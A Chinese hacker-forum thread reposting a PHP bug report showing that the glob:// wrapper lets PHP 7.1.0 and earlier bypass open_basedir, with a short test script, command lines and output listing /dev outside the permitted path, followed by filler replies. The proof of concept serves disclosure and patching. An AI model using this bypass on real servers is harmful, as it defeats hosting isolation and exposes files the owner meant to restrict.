请选择 进入手机版 | 继续访问电脑版
查看: 15395|回复: 10047

[Other] PHP 7.1.0 and prior open_basedir bypass through glob wrapper Vulnerability

[复制链接]
  • TA的每日心情

    4 小时前
  • 签到天数: 634 天

    [LV.9]以坛为家II

    发表于 2017-1-11 12:02:50 | 显示全部楼层 |阅读模式
    # ./php -v
    PHP 7.1.0 (cli) (built: Dec 23 2016 16:08:30) ( NTS DEBUG )
    Copyright (c) 1997-2016 The PHP Group
    Zend Engine v3.1.0-dev, Copyright (c) 1998-2016 Zend Technologies
    [PHP] 纯文本查看 复制代码
    
    Test script:
    ---------------
    <?php
    if ($dh = opendir($argv[1])) {
    while (($file = readdir($dh)) !== false) {
    echo "$file\n";
    }
    closedir($dh);
    }
    
    
    Expected result:
    ----------------
    Warning: opendir(): open_basedir restriction in effect. File(/dev/) is
    not within the allowed path(s): (/virtual/) in
    /virtual/php/71/bin/bypass.php on line 2
    
    Warning: opendir(/dev/): failed to open dir: Operation not permitted in
    /virtual/php/71/bin/bypass.php on line 2
    
    Actual result:
    --------------
    # ./php bypass.php "/dev/"
    
    Warning: opendir(): open_basedir restriction in effect. File(/dev/) is
    not within the allowed path(s): (/virtual/) in
    /virtual/php/71/bin/bypass.php on line 2
    
    Warning: opendir(/dev/): failed to open dir: Operation not permitted in
    /virtual/php/71/bin/bypass.php on line 2
    # ./php bypass.php "glob:///dev/*"
    MAKEDEV
    apm
    apmctl
    arandom
    audio
    audio0
    audio1
    
    


    References:

    https://github.com/php/php-src/c ... a53ea9a0796f4634276
    回复

    使用道具 举报

    该用户从未签到

    发表于 2017-1-11 13:02:26 | 显示全部楼层
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2017-1-11 13:19:33 | 显示全部楼层
    支持,看起来还是可以的
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2017-1-11 14:03:20 | 显示全部楼层
    我是来水经验的……
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2017-1-11 14:14:06 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2017-1-11 15:04:06 | 显示全部楼层
    我是来水经验的……
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2017-1-11 15:57:42 | 显示全部楼层
    非常感谢
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2017-1-11 16:24:56 | 显示全部楼层
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2017-1-11 16:30:10 | 显示全部楼层
    支持,看起来还是可以的
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2017-1-11 17:25:03 | 显示全部楼层
    我是来水经验的……
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表